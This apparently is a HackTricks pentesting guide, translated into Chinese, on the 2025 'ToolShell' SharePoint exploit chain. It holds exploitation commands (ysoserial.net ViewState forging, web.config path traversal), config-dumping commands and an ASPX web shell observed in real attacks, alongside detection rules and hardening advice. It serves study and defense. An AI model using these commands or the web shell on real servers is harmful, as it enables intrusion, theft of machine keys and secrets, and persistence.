Microsoft SharePoint – Pentesting & Exploitation

tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks

Microsoft SharePoint(本地部署)建立在ASP.NET/IIS之上。因此,大多数经典的网络攻击面(ViewState、Web.Config、web shells等)都存在,但SharePoint还附带数百个专有的ASPX页面和网络服务,显著扩大了暴露的攻击面。此页面收集了实用技巧,以枚举、利用和在SharePoint环境中持久化,重点关注Unit42披露的2025年利用链(CVE-2025-49704/49706/53770/53771)。

1. Quick enumeration

# favicon hash and keywords
curl -s https://<host>/_layouts/15/images/SharePointHome.png
curl -s https://<host>/_vti_bin/client.svc | file -  # returns WCF/XSI

# version leakage (often in JS)
curl -s https://<host>/_layouts/15/init.js | grep -i "spPageContextInfo"

# interesting standard paths
/_layouts/15/ToolPane.aspx               # vulnerable page used in 2025 exploit chain
/_vti_bin/Lists.asmx                     # legacy SOAP service
/_catalogs/masterpage/Forms/AllItems.aspx

# enumerate sites & site-collections (requires at least Anonymous)
python3 Office365-ADFSBrute/SharePointURLBrute.py -u https://<host>

2. 2025 exploit chain (a.k.a. “ToolShell”)

2.1 CVE-2025-49704 – Code Injection on ToolPane.aspx

/_layouts/15/ToolPane.aspx?PageView=…&DefaultWebPartId=<payload> 允许任意 Server-Side Include 代码被注入到页面中,随后由 ASP.NET 编译。攻击者可以嵌入执行 Process.Start() 的 C# 代码并投放恶意的 ViewState。

2.2 CVE-2025-49706 – Improper Authentication Bypass

同一页面信任 X-Forms_BaseUrl 头来确定站点上下文。通过将其指向 /_layouts/15/,可以 未认证 地绕过根站点强制的 MFA/SSO。

2.3 CVE-2025-53770 – Unauthenticated ViewState Deserialization → RCE

一旦攻击者控制了 ToolPane.aspx 中的一个小工具,他们可以发布一个 未签名(或仅 MAC)的 __VIEWSTATE 值,这会触发 w3wp.exe 内部的 .NET 反序列化,导致代码执行。

如果启用了签名,从任何 web.config 中窃取 ValidationKey/DecryptionKey(见 2.4),并使用 ysoserial.netysodom 伪造有效负载。

ysoserial.exe -g TypeConfuseDelegate -f Json.Net -o raw -c "cmd /c whoami" |
ViewStateGenerator.exe --validation-key <hex> --decryption-key <hex> -o payload.txt

对于滥用 ASP.NET ViewState 的深入解释,请阅读: {{#ref}} ../../pentesting-web/deserialization/exploiting-__viewstate-parameter.md {{#endref}}

2.4 CVE-2025-53771 – 路径遍历 / web.config 泄露

ToolPane.aspx 发送一个构造的 Source 参数(例如 ../../../../web.config)会返回目标文件,从而允许泄露:

  • <machineKey validationKey="…" decryptionKey="…"> ➜ 伪造 ViewState / ASPXAUTH cookies
  • 连接字符串和秘密。

3. 在野外观察到的后渗透食谱

3.1 提取每个 .config 文件(变体-1)

cmd.exe /c for /R C:\inetpub\wwwroot %i in (*.config) do @type "%i" >> "C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\16\TEMPLATE\LAYOUTS\debug_dev.js"

生成的 debug_dev.js 可以匿名下载,并包含 所有 敏感配置。

3.2 部署一个 Base64 编码的 ASPX web shell(变体-2)

powershell.exe -EncodedCommand <base64>

解码的有效负载示例(缩短版):

csharp
<%@ Page Language="C#" %>
<%@ Import Namespace="System.Security.Cryptography" %>
<script runat="server">
protected void Page_Load(object sender, EventArgs e){
Response.Write(MachineKey.ValidationKey);
// echo secrets or invoke cmd
}
</script>

写给:

C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\16\TEMPLATE\LAYOUTS\spinstall0.aspx

该 shell 暴露了 读取 / 轮换机器密钥 的端点,这允许在整个农场中伪造 ViewState 和 ASPXAUTH cookies。

3.3 混淆变体(变体-3)

相同的 shell,但:

  • 放置在 ...\15\TEMPLATE\LAYOUTS\
  • 变量名减少为单个字母
  • 为沙箱规避和基于时间的 AV 绕过添加了 Thread.Sleep(<ms>)

4. 检测思路

监测数据为什么可疑
w3wp.exe → cmd.exe工作进程应该很少生成 shell
cmd.exe → powershell.exe -EncodedCommand经典的 lolbin 模式
创建 debug_dev.jsspinstall0.aspx 的文件事件直接来自 ToolShell 的 IOCs
ProcessCmdLine 包含 ToolPane.aspx(ETW/模块日志)公开的 PoCs 调用此页面

示例 XDR / Sysmon 规则(伪 XQL):

proc where parent_process_name="w3wp.exe" and process_name in ("cmd.exe","powershell.exe")

5. 加固与缓解

  1. 补丁 – 2025年7月的安全更新修复所有四个CVE。
  2. 在被攻破后轮换每个<machineKey>ViewState秘密。
  3. WSS_WPGWSS_ADMIN_WPG组中移除LAYOUTS写权限。
  4. 在代理/WAF级别阻止对/_layouts/15/ToolPane.aspx的外部访问。
  5. 启用ViewStateUserKeyMAC启用和自定义EventValidation

相关技巧

  • IIS后渗透与web.config滥用: {{#ref}} ../../network-services-pentesting/pentesting-web/iis-internet-information-services.md {{#endref}}

参考文献

tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks